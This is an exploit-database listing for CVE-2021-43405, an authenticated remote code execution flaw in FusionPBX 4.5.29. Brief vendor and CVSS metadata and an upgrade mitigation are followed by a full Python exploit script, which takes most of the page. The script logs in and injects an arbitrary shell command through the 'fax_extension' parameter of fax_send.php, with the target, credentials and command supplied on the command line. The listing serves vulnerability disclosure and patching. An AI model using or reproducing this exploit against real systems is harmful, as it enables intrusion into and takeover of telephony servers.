header-logo
Suggest Exploit
vendor:
FusionPBX
by:
Luska
8.8
CVSS
HIGH
Remote Code Execution (RCE)
20
CWE
Product Name: FusionPBX
Affected Version From: 4.5.29
Affected Version To: 4.5.30
Patch Exists: YES
Related CWE: CVE-2021-43405
CPE: a:fusionpbx:fusionpbx
Metasploit:
Other Scripts:
Platforms Tested: Debian
2021

FusionPBX 4.5.29 – Remote Code Execution (RCE) (Authenticated)

FusionPBX is a full-featured multi-tenant GUI for FreeSWITCH. A vulnerability in FusionPBX version 4.5.29 and earlier allows an authenticated user to execute arbitrary code on the server. The vulnerability exists due to insufficient validation of user-supplied input in the 'fax_extension' parameter of the 'fax_send.php' script. An attacker can send a specially crafted HTTP request containing an arbitrary command, which will be executed on the server.

Mitigation:

Upgrade to version 4.5.30 or later.
Source

Exploit-DB raw data:

# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/08/2021
# Exploit Author: Luska
# Vendor Homepage: https://www.fusionpbx.com/
# Software Link: https://github.com/fusionpbx/fusionpbx
# Version: < 4.5.30
# Tested on: Debian
# CVE : CVE-2021-43405

#!/usr/bin/python3
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse


cookies = {'PHPSESSID': '31337'}
proxy = {'http': 'http://127.0.0.1:8080'}

def login(url, username, password):
    data = {
        'username': username,
        'password': password
    }
    r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)
    return r.status_code

def exploit_request(url, cmd):
    print('[+] Sending Exploit Request')
    mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })
    r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)
    return r.status_code

def exploit(url, username, password, cmd):
    if login(url,username,password) == 200:
        print('[+] Login Successful')
        exploit_request(url, cmd)
        print('[+] Exploit Sucessful')
    else:
        print('[-] Login Failed')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')

    parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example: http://127.0.0.1', required=True)
    parser.add_argument('-u', metavar='<user>', help='User to login', required=True)
    parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True)
    parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True)
    
    args = parser.parse_args()

    target = args.t
    user = args.u
    password = args.p
    cmd = args.c

    exploit(target, user, password, cmd)